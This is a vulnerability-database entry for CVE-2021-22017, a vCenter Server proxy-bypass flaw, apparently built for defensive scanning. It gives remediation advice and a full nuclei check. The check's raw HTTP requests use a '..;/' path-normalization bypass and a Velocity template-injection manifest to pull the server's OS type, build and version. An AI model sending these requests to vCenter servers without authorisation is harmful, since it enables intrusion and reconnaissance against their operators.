Browse / CVEs / CVE-2021-22017
CVE-2021-22017· vmware / vcenter server· NVD-CWE-noinfo
vCenter Server - Improper Access Control
Exploited in the wild. Listed by CISA on 2022-01-10; known to be used by ransomware.
Rhttproxy as used in vCenter Server contains a vulnerability due to improper implementation of URI normalization. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to bypass proxy leading to internal endpoints being accessed.
Impact
Attackers can bypass proxy restrictions and access internal endpoints, potentially leading to information disclosure or further internal network compromise.
Fix
Apply the latest security patches or updates provided by VMware for vCenter Server.
How to confirm it
Send: POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB
Positive when: status_code == 201 and len(body) == 0
Send: POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB
Positive when: contains "BUILD" and "VERSION" and "OSTYPE" AND status 200Run it with nuclei: nuclei -id CVE-2021-22017 -u <target>
The full check
id: CVE-2021-22017
info:
name: vCenter Server - Improper Access Control
author: daffainfo
severity: medium
description: |
Rhttproxy as used in vCenter Server contains a vulnerability due to improper implementation of URI normalization. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to bypass proxy leading to internal endpoints being accessed.
impact: |
Attackers can bypass proxy restrictions and access internal endpoints, potentially leading to information disclosure or further internal network compromise.
remediation: |
Apply the latest security patches or updates provided by VMware for vCenter Server.
reference:
- https://github.com/wangsir01/docs/blob/7c20bbf43ae467c1bdc54c65c9a3230ae3e81d63/CVE-2021-22017-22005%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E5%88%86%E6%9E%90/CVE-2021-22017-22005%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E5%88%86%E6%9E%90.md
- https://www.vmware.com/security/advisories/VMSA-2021-0020.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-22017
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2021-22017
cwe-id: NVD-CWE-noinfo
epss-score: 0.49177
epss-percentile: 0.98895
cpe: cpe:2.3:a:vmware:vcenter_server:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: vmware
product: vcenter_server
shodan-query: VMware vCenter Server
tags: cve,cve2021,vmware,vcenter,vkev,kev
flow: http(1) && http(2)
variables:
plugintype: "{{randbase(8)}}"
http:
- raw:
- |
POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
X-Deployment-Secret: secret
X-Plugin-Type: {{plugintype}}
{"manifestSpec": {"resourceId": "b1", "dataType": "b2", "objectId": "b3", "versionDataType": "b4", "versionObjectId": "b5"}, "objectType": "a1", "collectionTriggerDataNeeded": true, "deploymentDataNeeded": true, "resultNeeded": true, "signalCollectionCompleted": true, "localManifestPath": "a2", "localPayloadPath": "a3", "localObfuscationMapPath": "a4"}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code == 201'
- 'len(body) == 0'
condition: and
internal: true
- raw:
- |
POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
X-Deployment-Secret: secret
X-Plugin-Type: {{plugintype}}
{"manifestContent": "<manifest recommendedPageSize=\"500\">\n <request>\n <query name=\"vir:VCenter\">\n <constraint>\n <targetType>ServiceInstance</targetType>\n </constraint>\n <propertySpec>\n <propertyNames>content.about.instanceUuid</propertyNames>\n <propertyNames>content.about.osType</propertyNames>\n <propertyNames>content.about.build</propertyNames>\n <propertyNames>content.about.version</propertyNames>\n </propertySpec>\n </query>\n </request>\n <cdfMapping>\n <indepedentResultsMapping>\n <resultSetMappings>\n <entry>\n <key>vir:VCenter</key>\n <value>\n <value xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"resultSetMapping\">\n <resourceItemToJsonLdMapping>\n <forType>ServiceInstance</forType>\n <mappingCode><![CDATA[\n #set($modelKey = $LOCAL-resourceItem.resourceItem.getKey())\n #set($objectId = \"vim.ServiceInstance:$modelKey.value:$modelKey.serverGuid\")\n #set($obj = $LOCAL-cdf20Result.newObject(\"vim.ServiceInstance\", $objectId))\n $obj.addProperty(\"MSG\", \"exist\")\n $obj.addProperty(\"OSTYPE\", $content-about-osType)\n $obj.addProperty(\"BUILD\", $content-about-build)\n $obj.addProperty(\"VERSION\", $content-about-version)]]>\n </mappingCode>\n </resourceItemToJsonLdMapping>\n </value>\n </value>\n </entry>\n </resultSetMappings>\n </indepedentResultsMapping>\n </cdfMapping>\n <requestSchedules>\n <schedule interval=\"1h\">\n <queries>\n <query>vir:VCenter</query>\n </queries>\n </schedule>\n </requestSchedules>\n</manifest>", "contextData": "a2", "objectId": "a3"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'BUILD'
- 'VERSION'
- 'OSTYPE'
condition: and
- type: status
status:
- 200References
- https://github.com/wangsir01/docs/blob/7c20bbf43ae467c1bdc54c65c9a3230ae3e81d63/CVE-2021-22017-22005%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E5%88%86%E6%9E%90/CVE-2021-22017-22005%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E5%88%86%E6%9E%90.md
- https://www.vmware.com/security/advisories/VMSA-2021-0020.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-22017
Use this check only on systems you are authorised to test. Where the data comes from